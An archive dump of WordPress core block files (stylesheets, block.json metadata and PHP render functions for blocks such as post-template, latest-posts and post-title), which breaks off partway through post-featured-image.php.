clear: both;
}
.wp-block-post-template.is-flex-container,
.wp-block-query-loop.is-flex-container {
flex-direction: row;
display: flex;
flex-wrap: wrap;
}
.wp-block-post-template.is-flex-container li,
.wp-block-query-loop.is-flex-container li {
margin: 0 0 1.25em 0;
width: 100%;
}
@media (min-width: 600px) {
.wp-block-post-template.is-flex-container li,
.wp-block-query-loop.is-flex-container li {
margin-left: 1.25em;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li {
width: calc((100% / 2) - 1.25em + (1.25em / 2));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n) {
margin-left: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li {
width: calc((100% / 3) - 1.25em + (1.25em / 3));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n) {
margin-left: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li {
width: calc((100% / 4) - 1.25em + (1.25em / 4));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n) {
margin-left: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li {
width: calc((100% / 5) - 1.25em + (1.25em / 5));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n) {
margin-left: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li {
width: calc((100% / 6) - 1.25em + (1.25em / 6));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n) {
margin-left: 0;
}
} post-template/editor-rtl.css 0000644 00000002614 15233103272 0012142 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.editor-styles-wrapper ul.wp-block-post-template {
padding-right: 0;
margin-right: 0;
list-style: none;
} post-template/block.json 0000644 00000001051 15233103272 0011322 0 ustar 00 {
"apiVersion": 2,
"name": "core/post-template",
"title": "Post Template",
"category": "design",
"parent": [ "core/query" ],
"description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",
"textdomain": "default",
"usesContext": [
"queryId",
"query",
"queryContext",
"displayLayout",
"templateSlug"
],
"supports": {
"reusable": false,
"html": false,
"align": true
},
"style": "wp-block-post-template",
"editorStyle": "wp-block-post-template-editor"
}
post-template/editor-rtl.min.css 0000644 00000000140 15233103272 0012714 0 ustar 00 .editor-styles-wrapper ul.wp-block-post-template{padding-right:0;margin-right:0;list-style:none} post-template/style.css 0000644 00000007614 15233103272 0011222 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-template,
.wp-block-query-loop {
max-width: 100%;
list-style: none;
padding: 0;
}
.wp-block-post-template li,
.wp-block-query-loop li {
clear: both;
}
.wp-block-post-template.is-flex-container,
.wp-block-query-loop.is-flex-container {
flex-direction: row;
display: flex;
flex-wrap: wrap;
}
.wp-block-post-template.is-flex-container li,
.wp-block-query-loop.is-flex-container li {
margin: 0 0 1.25em 0;
width: 100%;
}
@media (min-width: 600px) {
.wp-block-post-template.is-flex-container li,
.wp-block-query-loop.is-flex-container li {
margin-right: 1.25em;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li {
width: calc((100% / 2) - 1.25em + (1.25em / 2));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n) {
margin-right: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li {
width: calc((100% / 3) - 1.25em + (1.25em / 3));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n) {
margin-right: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li {
width: calc((100% / 4) - 1.25em + (1.25em / 4));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n) {
margin-right: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li {
width: calc((100% / 5) - 1.25em + (1.25em / 5));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n) {
margin-right: 0;
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li,
.wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li {
width: calc((100% / 6) - 1.25em + (1.25em / 6));
}
.wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n),
.wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n) {
margin-right: 0;
}
} post-template/editor.min.css 0000644 00000000136 15233103272 0012122 0 ustar 00 .editor-styles-wrapper ul.wp-block-post-template{padding-left:0;margin-left:0;list-style:none} post-template/style.min.css 0000644 00000004406 15233103272 0012000 0 ustar 00 .wp-block-post-template,.wp-block-query-loop{max-width:100%;list-style:none;padding:0}.wp-block-post-template li,.wp-block-query-loop li{clear:both}.wp-block-post-template.is-flex-container,.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap}.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin:0 0 1.25em;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin-right:1.25em}.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li:nth-child(2n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li:nth-child(2n){margin-right:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li:nth-child(3n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li:nth-child(3n){margin-right:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li:nth-child(4n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li:nth-child(4n){margin-right:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li:nth-child(5n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li:nth-child(5n){margin-right:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li:nth-child(6n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li:nth-child(6n){margin-right:0}} post-template/editor.css 0000644 00000002612 15233103272 0011341 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.editor-styles-wrapper ul.wp-block-post-template {
padding-left: 0;
margin-left: 0;
list-style: none;
} post-template/style-rtl.min.css 0000644 00000004400 15233103272 0012571 0 ustar 00 .wp-block-post-template,.wp-block-query-loop{max-width:100%;list-style:none;padding:0}.wp-block-post-template li,.wp-block-query-loop li{clear:both}.wp-block-post-template.is-flex-container,.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap}.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin:0 0 1.25em;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin-left:1.25em}.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li:nth-child(2n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li:nth-child(2n){margin-left:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li:nth-child(3n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li:nth-child(3n){margin-left:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li:nth-child(4n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li:nth-child(4n){margin-left:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li:nth-child(5n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li:nth-child(5n){margin-left:0}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li:nth-child(6n),.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li:nth-child(6n){margin-left:0}} latest-posts.php 0000644 00000015724 15233103272 0007726 0 ustar 00 <?php
/**
* Server-side rendering of the `core/latest-posts` block.
*
* @package WordPress
*/
/**
* The excerpt length set by the Latest Posts core block
* set at render time and used by the block itself.
*
* @var int
*/
global $block_core_latest_posts_excerpt_length;
$block_core_latest_posts_excerpt_length = 0;
/**
* Callback for the excerpt_length filter used by
* the Latest Posts block at render time.
*
* @return int Returns the global $block_core_latest_posts_excerpt_length variable
* to allow the excerpt_length filter respect the Latest Block setting.
*/
function block_core_latest_posts_get_excerpt_length() {
global $block_core_latest_posts_excerpt_length;
return $block_core_latest_posts_excerpt_length;
}
/**
* Renders the `core/latest-posts` block on server.
*
* @param array $attributes The block attributes.
*
* @return string Returns the post content with latest posts added.
*/
function render_block_core_latest_posts( $attributes ) {
global $post, $block_core_latest_posts_excerpt_length;
$args = array(
'posts_per_page' => $attributes['postsToShow'],
'post_status' => 'publish',
'order' => $attributes['order'],
'orderby' => $attributes['orderBy'],
'suppress_filters' => false,
);
$block_core_latest_posts_excerpt_length = $attributes['excerptLength'];
add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );
if ( isset( $attributes['categories'] ) ) {
$args['category__in'] = array_column( $attributes['categories'], 'id' );
}
if ( isset( $attributes['selectedAuthor'] ) ) {
$args['author'] = $attributes['selectedAuthor'];
}
$recent_posts = get_posts( $args );
$list_items_markup = '';
foreach ( $recent_posts as $post ) {
$post_link = esc_url( get_permalink( $post ) );
$list_items_markup .= '<li>';
if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) {
$image_style = '';
if ( isset( $attributes['featuredImageSizeWidth'] ) ) {
$image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] );
}
if ( isset( $attributes['featuredImageSizeHeight'] ) ) {
$image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] );
}
$image_classes = 'wp-block-latest-posts__featured-image';
if ( isset( $attributes['featuredImageAlign'] ) ) {
$image_classes .= ' align' . $attributes['featuredImageAlign'];
}
$featured_image = get_the_post_thumbnail(
$post,
$attributes['featuredImageSizeSlug'],
array(
'style' => $image_style,
)
);
if ( $attributes['addLinkToFeaturedImage'] ) {
$featured_image = sprintf(
'<a href="%1$s">%2$s</a>',
$post_link,
$featured_image
);
}
$list_items_markup .= sprintf(
'<div class="%1$s">%2$s</div>',
$image_classes,
$featured_image
);
}
$title = get_the_title( $post );
if ( ! $title ) {
$title = __( '(no title)' );
}
$list_items_markup .= sprintf(
'<a href="%1$s">%2$s</a>',
$post_link,
$title
);
if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
$author_display_name = get_the_author_meta( 'display_name', $post->post_author );
/* translators: byline. %s: current author. */
$byline = sprintf( __( 'by %s' ), $author_display_name );
if ( ! empty( $author_display_name ) ) {
$list_items_markup .= sprintf(
'<div class="wp-block-latest-posts__post-author">%1$s</div>',
esc_html( $byline )
);
}
}
if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
$list_items_markup .= sprintf(
'<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>',
esc_attr( get_the_date( 'c', $post ) ),
esc_html( get_the_date( '', $post ) )
);
}
if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
&& isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) {
$trimmed_excerpt = get_the_excerpt( $post );
if ( post_password_required( $post ) ) {
$trimmed_excerpt = __( 'This content is password protected.' );
}
$list_items_markup .= sprintf(
'<div class="wp-block-latest-posts__post-excerpt">%1$s</div>',
$trimmed_excerpt
);
}
if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
&& isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) {
$post_content = wp_kses_post( html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ) );
if ( post_password_required( $post ) ) {
$post_content = __( 'This content is password protected.' );
}
$list_items_markup .= sprintf(
'<div class="wp-block-latest-posts__post-full-content">%1$s</div>',
$post_content
);
}
$list_items_markup .= "</li>\n";
}
remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );
$class = 'wp-block-latest-posts__list';
if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) {
$class .= ' is-grid';
}
if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) {
$class .= ' columns-' . $attributes['columns'];
}
if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
$class .= ' has-dates';
}
if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
$class .= ' has-author';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) );
return sprintf(
'<ul %1$s>%2$s</ul>',
$wrapper_attributes,
$list_items_markup
);
}
/**
* Registers the `core/latest-posts` block on server.
*/
function register_block_core_latest_posts() {
register_block_type_from_metadata(
__DIR__ . '/latest-posts',
array(
'render_callback' => 'render_block_core_latest_posts',
)
);
}
add_action( 'init', 'register_block_core_latest_posts' );
/**
* Handles outdated versions of the `core/latest-posts` block by converting
* attribute `categories` from a numeric string to an array with key `id`.
*
* This is done to accommodate the changes introduced in #20781 that sought to
* add support for multiple categories to the block. However, given that this
* block is dynamic, the usual provisions for block migration are insufficient,
* as they only act when a block is loaded in the editor.
*
* TODO: Remove when and if the bottom client-side deprecation for this block
* is removed.
*
* @param array $block A single parsed block object.
*
* @return array The migrated block object.
*/
function block_core_latest_posts_migrate_categories( $block ) {
if (
'core/latest-posts' === $block['blockName'] &&
! empty( $block['attrs']['categories'] ) &&
is_string( $block['attrs']['categories'] )
) {
$block['attrs']['categories'] = array(
array( 'id' => absint( $block['attrs']['categories'] ) ),
);
}
return $block;
}
add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' );
post-excerpt/block.json 0000644 00000001175 15233103272 0011170 0 ustar 00 {
"apiVersion": 2,
"name": "core/post-excerpt",
"title": "Post Excerpt",
"category": "theme",
"description": "Display a post's excerpt.",
"textdomain": "default",
"attributes": {
"textAlign": {
"type": "string"
},
"moreText": {
"type": "string"
},
"showMoreOnNewLine": {
"type": "boolean",
"default": true
}
},
"usesContext": [ "postId", "postType", "queryId" ],
"supports": {
"html": false,
"color": {
"gradients": true,
"link": true
},
"typography": {
"fontSize": true,
"lineHeight": true
}
},
"editorStyle": "wp-block-post-excerpt-editor",
"style": "wp-block-post-excerpt"
}
post-excerpt/style-rtl.css 0000644 00000002533 15233103272 0011653 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-excerpt__more-link {
display: inline-block;
} post-excerpt/editor.min.css 0000644 00000000126 15233103272 0011760 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block} post-excerpt/style.css 0000644 00000002533 15233103272 0011054 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-excerpt__more-link {
display: inline-block;
} post-excerpt/editor-rtl.min.css 0000644 00000000126 15233103272 0012557 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block} post-excerpt/editor.css 0000644 00000002572 15233103272 0011205 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline {
display: inline-block;
} post-excerpt/editor-rtl.css 0000644 00000002572 15233103272 0012004 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline {
display: inline-block;
} post-excerpt/style-rtl.min.css 0000644 00000000067 15233103272 0012435 0 ustar 00 .wp-block-post-excerpt__more-link{display:inline-block} post-excerpt/style.min.css 0000644 00000000067 15233103272 0011636 0 ustar 00 .wp-block-post-excerpt__more-link{display:inline-block} file.php 0000644 00000001601 15233103272 0006170 0 ustar 00 <?php
/**
* Server-side rendering of the `core/file` block.
*
* @package WordPress
*/
/**
* When the `core/file` block is rendering, check if we need to enqueue the `'wp-block-file-view` script.
*
* @param array $attributes The block attributes.
* @param array $content The block content.
*
* @return string Returns the block content.
*/
function render_block_core_file( $attributes, $content ) {
$should_load_view_script = ! empty( $attributes['displayPreview'] ) && ! wp_script_is( 'wp-block-file-view' );
if ( $should_load_view_script ) {
wp_enqueue_script( 'wp-block-file-view' );
}
return $content;
}
/**
* Registers the `core/file` block on server.
*/
function register_block_core_file() {
register_block_type_from_metadata(
__DIR__ . '/file',
array(
'render_callback' => 'render_block_core_file',
)
);
}
add_action( 'init', 'register_block_core_file' );
query-pagination-next/block.json 0000644 00000001002 15233103272 0012770 0 ustar 00 {
"apiVersion": 2,
"name": "core/query-pagination-next",
"title": "Query Pagination Next",
"category": "design",
"parent": [ "core/query-pagination" ],
"description": "Displays the next posts page link.",
"textdomain": "default",
"attributes": {
"label": {
"type": "string"
}
},
"usesContext": [ "queryId", "query" ],
"supports": {
"reusable": false,
"html": false,
"color": {
"gradients": true,
"link": true
},
"typography": {
"fontSize": true,
"lineHeight": true
}
}
}
loginout/block.json 0000644 00000000707 15233103272 0010373 0 ustar 00 {
"apiVersion": 2,
"name": "core/loginout",
"title": "Login/out",
"category": "theme",
"description": "Show login & logout links.",
"keywords": [ "login", "logout", "form" ],
"textdomain": "default",
"attributes": {
"displayLoginAsForm": {
"type": "boolean",
"default": false
},
"redirectToCurrent": {
"type": "boolean",
"default": true
}
},
"supports": {
"className": true,
"typography": {
"fontSize": false
}
}
}
post-title.php 0000644 00000003111 15233103272 0007353 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-title` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-title` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the filtered post title for the current post wrapped inside "h1" tags.
*/
function render_block_core_post_title( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
$post_ID = $block->context['postId'];
$tag_name = 'h2';
$align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
if ( isset( $attributes['level'] ) ) {
$tag_name = 0 === $attributes['level'] ? 'p' : 'h' . $attributes['level'];
}
$title = get_the_title( $post_ID );
if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
$title = sprintf( '<a href="%1s" target="%2s" rel="%3s">%4s</a>', get_the_permalink( $post_ID ), $attributes['linkTarget'], $attributes['rel'], $title );
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );
return sprintf(
'<%1$s %2$s>%3$s</%1$s>',
$tag_name,
$wrapper_attributes,
$title
);
}
/**
* Registers the `core/post-title` block on the server.
*/
function register_block_core_post_title() {
register_block_type_from_metadata(
__DIR__ . '/post-title',
array(
'render_callback' => 'render_block_core_post_title',
)
);
}
add_action( 'init', 'register_block_core_post_title' );
post-featured-image.php 0000644 00000002476 15233103272 0011126 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-featured-image` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-featured-image` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the featured image for the current post.
*/
function render_block_core_post_featured_image( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
$post_ID = $block->context['postId'];
$featured_image = get_the_post_thumbnail( $post_ID );
if ( ! $featured_image ) {
return '';
}
if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
$featured_image = sprintf( '<a href="%1s">%2s</a>', get_the_permalink( $post_ID ), $featured_image );
}
$wrapper_attributes = get_block_wrapper_attributes();
return '<figure ' . $wrapper_attributes . '>' . $featured_image . '</figure>';
}
/**
* Registers the `core/post-featured-image` block on the server.
*/
function register_block_core_post_featured_image() {
